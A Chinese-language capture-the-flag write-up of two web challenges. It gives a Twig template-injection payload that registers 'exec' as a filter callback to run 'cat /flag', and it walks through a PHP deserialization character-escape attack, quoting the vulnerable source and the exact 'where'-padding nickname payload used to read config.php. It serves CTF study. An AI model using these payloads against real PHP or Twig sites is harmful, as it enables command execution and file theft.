做题思路
首先打开靶机之后有个提示,对我没用
然后打开 flag ,问我什么名字,输入之后,显示的是输入的值,怀疑这里有注入
尝试一下,发现是模板注入输入 { {7*7}} 得到49
依然不懂为啥子,找大佬
发现这个
在user处尝试注入
{ {7*'7'}} 回显7777777 ==> Jinja2 { {7*'7'}} 回显49 ==> Twig判断出是哪种模板注入后,就构建payload获取 flag,
这里采用的是大佬的
{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("cat /flag")}}暂时,还没去弄明白模板注入
做题思路
打开为一个登陆页面,尝试登陆,看源代码,抓包分析
好家伙,不会
看眼WP
在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag
(三)代码审计
有注册功能,且代码中要求必须注册才能进行其后的操作;
update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制.1、update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; ......
2、class.php 中的限制:
(1)update_profile 中对 new_profile 用 filter 进行了过滤;
(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.table, 'profile', $new_profile, $where); } ..... public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); ......
3、profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
(四)突破:php反序列化字符逃逸
PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。
1、构造数据
(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;
(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过
(3)获取构造数据长度结果:
a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:10:"config.php";}
读 config.php 的数据,加上对前面符号的闭合的字符串,长34位:
";}s:5:"photo";s:10:"config.php";}
- 1
即需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去
(4)在 filter 进行过滤时, ‘where’ 替换成了 ‘hacker’ ,此时字符串的长度加了 1 ,若在 nickname 处填进 34 个 ‘where’ ,就会被替换成 34 个 ‘hacker’,即nickname 的长度超出了 34 位,正好把 ";}s:5:“photo”;s:10:“config.php”;} 挤到的photo的位置。
最后 nickname 的填入的结果:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
2、利用base64编码读取服务器的config.php文件中的flag
(1)在register.php注册,任何登录,填写信息,在burpsuite中把nickname 改成数组,绕过检测nickname的正则
(2)查看profile 的源码痛诉我今天这题,没花时间,明天再仔细研究
借鉴WP